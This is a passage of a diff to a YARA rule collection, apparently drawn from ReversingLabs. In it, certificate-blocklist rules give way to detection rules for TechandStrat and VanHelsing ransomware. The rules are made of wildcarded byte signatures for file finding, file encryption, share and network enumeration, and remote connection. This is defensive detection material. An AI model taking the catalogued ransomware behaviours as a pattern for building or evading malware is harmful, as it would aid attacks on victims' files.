?? ?? + ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 + } + $encrypt_files_p4 = { + 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F + 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? E8 ?? + ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 57 50 E8 ?? + ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45 + ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 + FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 0F 1F 84 00 ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F0 83 C4 + ?? 85 F6 74 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 + 0F 1F 84 00 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 + ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 56 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? + ?? ?? ?? 57 56 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? + ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 50 6A ?? 53 FF 15 ?? ?? + ?? ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 FF B6 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? + ?? 50 FF B6 ?? ?? ?? ?? 53 FF D7 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 6A ?? 6A + ?? 6A ?? FF 35 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 0F + 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? + ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 8B 45 ?? 03 C0 50 E8 ?? + ?? ?? ?? 8B F0 83 C4 ?? 80 3E ?? 74 ?? 8B 45 ?? 8B CE 85 C0 74 ?? 66 90 C6 01 ?? 8D + 49 ?? 83 E8 ?? 75 ?? 8D 45 ?? 50 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF D7 6A ?? 8D 45 ?? 50 8B 45 ?? FF B0 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8B 45 ?? FF B0 ?? ?? ?? ?? 53 FF D7 53 FF 15 ?? ?? ?? + ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 6A ?? 50 FF 75 ?? FF + 15 + } + $remote_connection = { + FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 83 79 ?? ?? 72 ?? + 8B 09 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 51 57 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 + F6 0F 84 ?? ?? ?? ?? 8B 4D ?? 53 83 79 ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? BB ?? ?? ?? ?? EB ?? 51 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BB + ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 8B C8 6A ?? E8 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? + ?? 66 89 4D ?? 8D 4D ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8D 4D + ?? 83 E3 ?? E8 ?? ?? ?? ?? F6 C3 ?? 5B 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D + 4D ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 0F + 43 45 ?? 50 68 ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F + 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 3D ?? ?? + ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 45 ?? + 85 C0 74 ?? C6 84 05 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? + ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? + ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75 ?? 8B 7D + ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 + ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D + ?? ?? 8D 4D ?? 8B 45 ?? 8D 55 ?? 0F 43 4D ?? 8B 75 ?? 03 C1 83 7D ?? ?? 8D 4D ?? 52 + 0F 43 4D ?? 50 51 8B CE E8 ?? ?? ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8D 4D + ?? E8 + } -rule REVERSINGLABS_Cert_Blocklist_0F9Fbdab9B39645Cf3211F87Abb5Ddb7 : INFO FILE + condition: + uint16( 0 ) == 0x5A4D and ( ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and $remote_connection ) +} +rule REVERSINGLABS_Win32_Ransomware_Techandstrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects TechandStrat ransomware." author = "ReversingLabs" - id = "ad24d2e9-ae3d-5fae-b58d-965bd1de2a99" - date = "2020-08-05" - modified = "2023-11-08" + id = "525d0b48-2018-5848-b9e7-def8395254eb" + date = "2021-05-17" + modified = "2021-05-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L567-L583" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TechandStrat.yara#L1-L106" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ba5885c7769b5ead261815880033b0df50dc4f7684fdb37398ab01bfebda0e37" + logic_hash = "80e201cf91adeee100e05af3ba5227fc61968bb6e0ce602107ba1217a7a62856" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "TechandStrat" + tc_detection_factor = 5 importance = 25 + strings: + $enum_shares_p1 = { + 55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? C7 45 ?? ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF + 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 + } + $enum_shares_p2 = { + 8D 46 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF 36 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B + 7D ?? 72 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A + ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 + 5D C2 + } + $find_files = { + 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? + 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 + 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA ?? 75 ?? 8D 43 ?? 3B C8 74 ?? + 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 80 FA ?? 74 ?? 80 FA ?? 74 ?? + 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 + C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? + ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 + 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D + ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? + ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ?? + ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75 + ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B FF 56 57 + 8B F9 8B 37 EB ?? FF 36 E8 ?? ?? ?? ?? 59 83 C6 ?? 3B 77 ?? 75 ?? FF 37 E8 ?? ?? ?? + ?? 59 5F 5E C3 + } + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8B 75 ?? 8D 44 24 ?? 57 50 C6 44 + 24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8B + 44 24 ?? 81 E9 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 D8 ?? 6A ?? 6A ?? 50 51 FF 36 FF D7 + 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? + 81 BC 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 + D2 69 C0 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 8C 24 ?? ?? ?? ?? 83 C9 ?? 51 40 C7 + 44 24 ?? ?? ?? ?? ?? F7 F1 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 54 24 ?? 89 94 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? + ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 6A ?? 6A ?? 0F + 11 84 24 ?? ?? ?? ?? 0F 57 C0 66 0F 13 44 24 ?? 8B 44 24 ?? 50 89 44 24 ?? 8B 44 24 + ?? 50 FF 36 89 44 24 ?? FF D7 6A ?? 8D 44 24 ?? 0F 57 C0 50 68 ?? ?? ?? ?? 8D 84 24 + ?? ?? ?? ?? 66 0F 13 44 24 ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85 + C0 0F 84 + } + $encrypt_files_p2 = { + 6A ?? 6A ?? FF 74 24 ?? 0F 11 84 24 ?? ?? ?? ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ?? + 6A ?? 8D 44 24 ?? 50 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B + 84 24 ?? ?? ?? ?? 8B C8 85 C0 B8 ?? ?? ?? ?? 6A ?? 0F 44 C8 69 44 24 ?? ?? ?? ?? ?? + 33 D2 6A ?? 40 89 44 24 ?? F7 F1 8B 4C 24 ?? 33 C0 83 C2 ?? 13 C0 01 54 24 ?? 13 C8 + 8B 44 24 ?? 89 4C 24 ?? 0F A4 C1 ?? C1 E0 ?? 51 50 FF 36 89 4C 24 ?? 89 44 24 ?? FF + 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF + 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? 6A ?? 6A ?? FF D7 8B 35 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 89 44 24 ?? + FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? FF D7 50 FF D6 + } + $encrypt_files_p3 = { + 6A ?? 6A ?? 66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ?? 6A ?? + 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? C6 44 + 24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 80 7C 24 ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 83 C6 ?? + 56 FF 15 ?? ?? ?? ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 8B 75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "The Motivo Group, Inc." and pe.signatures [ i ] . serial == "0f:9f:bd:ab:9b:39:64:5c:f3:21:1f:87:ab:b5:dd:b7" and 1361318399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_shares_p* ) ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4211D2E4F0E87127319302C55B85Bcf2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Vanhelsing : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects VanHelsing ransomware." author = "ReversingLabs" - id = "dbe2a945-cf13-564a-a95a-24534c70a723" - date = "2020-08-05" - modified = "2023-11-08" + id = "a12c5a00-523b-5644-aac5-e0f9d7e779b5" + date = "2025-06-10" + modified = "2025-06-10" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L585-L601" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.VanHelsing.yara#L1-L464" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "edf9bbface7fe943dfa4f5a6e8469802ccdbd3de9d3e6b8fabebb024c21bb9a9" + logic_hash = "8a04dac3ede0d2fb63db8f97fc20bb83372a2adf5e760ea7c29e5f563cee7442" score = 75 - quality = 90 - tags = "INFO, FILE" + quality = 88 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "VanHelsing" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_v1_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 + ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? + 8B 45 ?? 8B 5D ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 53 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D + 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? + ?? 50 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B + 3D ?? ?? ?? ?? 0F 1F 00 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? BE ?? ?? + ?? ?? 66 0F 1F 44 00 ?? FF 36 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 85 ?? ?? ?? ?? 83 + C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 + } + $find_files_v1_p2 = { + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B CB E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? + ?? BE ?? ?? ?? ?? 66 0F 1F 44 00 ?? FF 36 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 85 ?? + ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 0F 57 C0 83 C4 + ?? 66 0F D6 06 C7 46 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 89 06 8B 85 ?? ?? ?? ?? 89 46 ?? C7 46 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B CE 85 C0 75 ?? E8 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 53 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 9D ?? + ?? ?? ?? 83 C4 ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 + 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D + } + $network_enumeration_v1_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 57 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 83 3A ?? 0F 8E ?? + ?? ?? ?? 33 DB 89 5C 24 ?? 0F 1F 00 8D 42 ?? 03 C3 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 15 ?? ?? ?? ?? 8B C3 BB ?? ?? ?? ?? 89 44 24 ?? 83 C4 ?? 89 5C 24 ?? 8D 72 ?? 03 + F0 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 6A ?? 50 6A + ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? + ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? + ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 8D 44 24 ?? 50 6A ?? 8D 44 + 24 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 + FF 39 7C 24 ?? 76 ?? 33 F6 8B 44 24 ?? 83 7C 06 ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 34 06 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 44 24 ?? FF 34 06 8D 44 24 ?? 50 8D 84 24 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 + } + $network_enumeration_v1_p2 = { + 68 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 + ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 81 FB ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? + ?? 8B 5C 24 ?? 8B 44 24 ?? 05 ?? ?? ?? ?? 83 EB ?? 89 44 24 ?? 89 5C 24 ?? 0F 85 ?? + ?? ?? ?? 8B 74 24 ?? 8B 5C 24 ?? 46 81 C3 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 3B 32 + 0F 8C ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 3A ?? C7 44 24 ?? ?? ?? + ?? ?? 0F 8E ?? ?? ?? ?? 33 DB 89 5C 24 ?? 66 0F 1F 44 00 ?? 8D 42 ?? 03 C3 50 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B C3 BB ?? ?? ?? ?? 89 44 24 ?? 83 C4 ?? + 89 5C 24 ?? 8D 72 ?? 03 F0 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 0F 84 ?? ?? ?? + ?? 56 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 44 24 ?? 6A ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 + C0 75 ?? FF 15 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 8D + } + $network_enumeration_v1_p3 = { + 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 